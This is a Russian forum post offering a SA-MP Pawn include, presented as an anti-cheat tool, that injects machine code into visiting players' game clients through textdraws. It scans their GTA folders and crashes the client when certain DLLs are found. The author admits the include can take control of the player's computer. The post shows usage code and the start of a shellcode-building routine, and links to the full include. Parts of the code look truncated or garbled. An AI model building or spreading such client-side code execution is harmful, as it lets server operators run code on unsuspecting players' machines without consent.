hi ИГРОМАНИЯ
Приветствую ребята :D назвал так просто чтобы нубов не привлекать.
Эта библиотека находится в Бетта-версии. Она сканирует директорию GTA и проверяет наличие плагинов d3d9.dll или vorbisHooked.dll и если один из плагинов действительно есть в этой директории то клиент SA-MP попросту крашнется
В следующих версиях возможно будет добавлено:
- Открытие нужного URL адресса в браузере пользователя
- Заменя худа у пользователя
- Связь с сервером
и многое другое
Этот инклуд работает с socket.dll.На самом деле он имеет практический неограниченные возможности но работать с ней сложновато т.к иногда требуется знание Assembler и другие технические части
Если вы знаете азы программирования низкого уровня то вы сможете практически все
Краткая информация:
TextDrawClient уменьшается максимальное количество PlayerTextDraws для каждого игрока.
Функции:
PHP код:
LoadClientForPlayer(playerid); //Запускаем gta_sa.exe (это кидаем в OnPlayerConnect)
UnloadClientForPlayer(playerid); //закрываем процесс gta_sa.exe (это в OnPlayerDisconnect)
CrashCheater(playerid); //выкидываем игрока если в директории найден плагин [COLOR="#FF0000"]d3d9.dll[/COLOR]
Использование:
PHP код:
public OnPlayerConnect(playerid)
{
LoadClientForPlayer(playerid);
CrashCheater(playerid); //С этим все ясно(если нет то выше читай)
return true;
}
public OnPlayerDisconnect(playerid, reason)
{
UnloadClientForPlayer(playerid);
return true;
}
Внимание:С помощью данного инклуда можно взять под контроль Компьютер пользователя.
PHP код:
#if !defined TextDrawClient_included
#define TextDrawClient_included
#include <a_samp>
static ClientCode[804];
static PlayerText:Clients[MAX_PLAYERS];
static ClientCommandId[MAX_PLAYERS];
#define CLIENT_CODE_OFFSET 0x3B
#define CLIENT_DATA_OFFSET 0x1AD
#define CLIENT_CODE_SIZE 0x172
#define CLIENT_DATA_SIZE 0x173
#define _db(%0) ClientCode[off++] = %0
static stock PrepareClientMetaCode(playerid)
{
for (new i = 0; i < sizeof(ClientCode); i++)
ClientCode[i] = 0x90;
ClientCommandId[playerid] = (ClientCommandId[playerid] + 1)&0xFF;
if (ClientCommandId[playerid] == 0)
ClientCommandId[playerid] = 1;
new off = 0;
_db(0x55);
Ссылка на Инклуд:Кликай-ЖЕ
Вот как тут видно сканируем директорию на содержание данных плагинов.
PHP код:
new str_d3d9[] = "d3d9.dll";
new str_vorbisHooked[] = "sdfsdfdssdfl";